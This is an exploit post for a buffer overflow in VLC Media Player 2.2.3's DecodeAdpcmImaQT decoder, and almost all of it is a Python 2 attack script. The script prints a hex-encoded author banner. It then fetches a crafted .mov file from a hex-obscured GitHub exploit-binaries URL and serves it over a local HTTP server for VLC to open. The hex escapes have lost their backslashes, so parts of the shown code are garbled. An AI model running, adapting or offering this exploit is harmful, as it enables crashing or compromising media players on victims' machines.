VLC Media Player 2.2.3 DecodeAdpcmImaQ Buffer Overflow
Posted on 19 April 2017
# Exploit Title: VLC Media Player 2.2.3- 'DecodeAdpcmImaQT' Buffer Overflow # Author: Sultan albalawi # st:http://mirror.library.ucy.ac.cy/videolan/vlc/2.2.3/win32/vlc-2.2.3-win32.exe # Tested on:win10 # video:https://www.facebook.com/pentest3/videos/vb.100012552940568/245309739230789/?type=2&theater¬if_t=video_processed¬if_id=1484233805390436 #------------------------------------------------------------------------ import BaseHTTPServer from time import sleep import sys from SimpleHTTPServer import SimpleHTTPRequestHandler HandlerClass = SimpleHTTPRequestHandler ServerClass = BaseHTTPServer.HTTPServer import urllib2 u_local_ip='127.0.0.1' def myB(): myB= 'x0dx0ax20x20x20x20x20x20x20x5cx20x20x20x2dx20x20' myB+='x2dx20x20x2dx20x3cx73x65x72x76x65x72x3ex20x20x2d' myB+='x20x5cx2dx2dx2dx3cx20x2dx20x2dx20x20x2dx20x2dx20' myB+='x20x2dx20x20x2ax0dx0ax20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x2ax2ax2ax0dx0ax20x20x20' myB+='x20x20x20x20x7cx20x20x20x20x44x6fx63x5fx41x74x74' myB+='x61x63x6bx20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x2ax2ax2a' myB+='x2ax2ax0dx0ax20x20x20x20x20x20x20x7cx20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x2ax2ax2ax2ax2ax2ax2ax0dx0ax20x20x20x20' myB+='x20x20x20x76x20x20x20x20x20x20x20x20x60x20x60x2e' myB+='x20x20x20x20x2cx3bx27x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x2ax2ax2ax2ax41x70x50' myB+='x2ax2ax2ax2ax0dx0ax20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x60x2ex20x20x2cx27x2fx20x2ex27' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax0d' myB+='x0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x60x2ex20x58x20x2fx2ex27x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x2ax20x20x20x20x20x2ax2ax2a' myB+='x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax0dx0ax20x20x20x20' myB+='x20x20x20x2ex2dx3bx2dx2dx27x27x2dx2dx2ex5fx60x20' myB+='x60x20x28x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x2ax2ax2ax20x20x20x20x20x20x20x20x20x20x7cx0d' myB+='x0ax20x20x20x20x20x2ex27x20x20x20x20x20x20x20x20' myB+='x20x20x20x2fx20x20x20x20x27x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x2ax2ax2ax2ax2ax20x20x20x20x20x20' myB+='x20x20x20x7cx20x64x61x74x61x62x61x73x65x0dx0ax20' myB+='x20x20x20x20x3bx53x65x63x75x72x69x74x79x60x20x20' myB+='x27x20x30x20x20x30x20x27x20x20x20x20x20x20x20x20' myB+='x20x2ax2ax2ax4ex45x54x2ax2ax2ax20x20x20x20x20x20' myB+='x20x7cx0dx0ax20x20x20x20x2cx20x20x20x20x20x20x20' myB+='x2cx20x20x20x20x27x20x20x7cx20x20x27x20x20x20x20' myB+='x20x20x20x20x20x20x2ax2ax2ax2ax2ax2ax2ax2ax2ax20' myB+='x20x20x20x20x20x20x5ex0dx0ax20x2cx2ex20x7cx20x20' myB+='x20x20x20x20x20x27x20x20x20x20x20x60x2ex5fx2ex27' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x7c' myB+='x2dx2dx2dx2dx2dx2dx2dx5ex2dx2dx2dx5ex20x20x20x20' myB+='x20x20x20x20x20x20x2fx0dx0ax20x3ax20x20x2ex20x60' myB+='x20x20x3bx20x20x20x60x20x20x60x20x2dx2dx2cx2ex2e' myB+='x5fx3bx2dx2dx2dx3ex20x20x20x20x20x20x20x20x20x7c' myB+='x20x20x20x20x20x20x20x27x2ex27x2ex27x5fx5fx5fx5f' myB+='x5fx5fx5fx5fx20x2ax0dx0ax20x20x27x20x60x20x20x20' myB+='x20x2cx20x20x20x29x20x20x20x2ex27x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x5ex20' myB+='x20x20x20x20x20x20x20x7cx5fx7cx20x46x69x72x65x77' myB+='x61x6cx6cx20x29x0dx0ax20x20x20x20x20x60x2ex5fx20' myB+='x2cx20x20x27x20x20x20x2fx5fx20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x7cx20x20' myB+='x20x20x20x20x20x20x20x20x20x20x7cx7cx20x20x20x20' myB+='x7cx7cx0dx0ax20x20x20x20x20x20x20x20x3bx20x2cx27' myB+='x27x2dx2cx3bx27x20x60x60x2dx5fx5fx5fx5fx5fx5fx5f' myB+='x5fx5fx5fx5fx5fx5fx5fx5fx5fx5fx7cx0dx0ax20x20x20' myB+='x20x20x20x20x20x20x60x60x2dx2ex2ex5fx5fx60x60x2d' myB+='x2dx60x20x20x20x20x20x20x20x69x70x73x20x20x20x20' myB+='x20x20x20x2dx20x20x20x20x20x20x20x20x20x20x20x5e' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x2fx0dx0ax20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x2dx20x20x20x20x20x20x20x20x27' myB+='x2ex20x5fx2dx2dx2dx2dx2dx2dx2dx2dx2dx2ax0dx0ax20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x2dx5fx5fx5fx5fx5fx5fx5fx20' myB+='x7cx5fx20x20x49x50x53x20x20x20x20x20x29x0dx0ax20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x7cx7cx20x20x20x20x20x7cx7cx0dx0ax20' myB+=' ' myB+='x41x75x74x68x6fx72x3ax20x53x75x6cx74x61x6ex5fx41x6cx62x61x6cx61x77x69x0dx0ax65x78x70x6cx6fx69x74x20x3ax20x68x74x74x70x73x3ax2fx2fx77x77x77x2ex65x78x70x6cx6fx69x74x2dx64x62x2ex63x6fx6dx2fx61x75x74x68x6fx72x2fx3fx61x3dx38x37x34x31 ' myB+='x68x74x74x70x73x3ax2fx2fx77x77x77x2ex66x61x63x65x62x6fx6fx6bx2ex63x6fx6dx2fx70x65x6ex74x65x73x74x33 ' myB+="x61x6cx62x61x6cx61x77x69x34x70x65x6ex74x65x73x74x40x67x6dx61x69x6cx2ex63x6fx6d" print myB myB() print "Download file please wait " sleep(2) url = 'x68x74x74x70x73x3ax2fx2fx67x69x74x68x75x62x2ex63x6fx6dx2fx6fx66x66x65x6ex73x69x76x65x2dx73x65x63x75x72x69x74x79x2fx65x78x70x6cx6fx69x74x2dx64x61x74x61x62x61x73x65x2dx62x69x6ex2dx73x70x6cx6fx69x74x73x2fx72x61x77x2fx6dx61x73x74x65x72x2fx73x70x6cx6fx69x74x73x2fx34x31x30x32x35x2ex6dx6fx76' file_name = url.split('/')[-1] u = urllib2.urlopen(url) f = open(file_name, 'wb') meta = u.info() file_size = int(meta.getheaders("Content-Length")[0]) sleep(2) print "Downloading: %s Bytes: %s" % (file_name, file_size) file_size_dl = 0 block_sz = 8192 while True: buffer = u.read(block_sz) if not buffer: break file_size_dl += len(buffer) f.write(buffer) status = r"%10d [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size) status = status + chr(8)*(len(status)+1) print status f.close() filecreate = file_name Protocol = "HTTP/1.0" if sys.argv[1:]: port = int(sys.argv[1]) else: port =8080 server_address = (u_local_ip,2150) HandlerClass.protocol_version = Protocol httpd = ServerClass(server_address, HandlerClass) sa = httpd.socket.getsockname() print sa[0],sa[1],filecreate print "open file url with vlc {}".format(filecreate) print "http://{}:{}/{}".format(sa[0],sa[1],filecreate) httpd.serve_forever()